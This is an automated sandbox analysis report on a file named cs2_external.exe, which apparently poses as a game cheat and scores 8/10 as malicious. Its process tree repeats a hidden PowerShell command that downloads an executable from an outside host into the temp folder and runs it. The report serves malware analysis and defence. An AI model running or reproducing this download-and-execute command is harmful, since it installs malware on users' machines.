Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
28/04/2026, 16:18
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
cs2_external.exe
Resource
win10v2004-20260130-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
cs2_external.exe
Resource
win11-20260130-en
6 signatures
150 seconds
General
- Target cs2_external.exe
- Size 7.1MB
- Sample260428-tr3spsfv2m
- SHA256 d11159acca8d1917526ee10de5075860bf9ad8eae05474e8eef05e8e5fe23048
- MD5 e19834cf30059fea894668bc5b832a37
- SHA1 2e36d969002a13210cd2eda31adb68366ec1355f
- SHA512 5ce64452892b52242c671b1f04444c8e5287695a2160a4fe5c782290237cf90d9b1d113582dd1fc85eaf854de0055f6e8559f600217a723b0d66439ebdd343a9
- SSDEEP 98304:qlbWu1Z9xC6eBdZx6Rs0YYMGrXhshgDReM7p9gA:uWZ5d7tWeEReqTgA
- TLSH T1E876E152E2AA81C9C93FA07C9653A707E73030052B1547CF37ED1A599F27EE45EBAB10
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4000 powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4000 powershell.exe 4000 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 552 cs2_external.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4000 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 552 cs2_external.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 552 wrote to memory of 4620 552 cs2_external.exe 84 PID 4620 wrote to memory of 3840 4620 cmd.exe 86 PID 3840 wrote to memory of 4000 3840 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\cs2_external.exe"C:\Users\Admin\AppData\Local\Temp\cs2_external.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"2⤵
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"3⤵
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4000
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zho50mol.mvi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH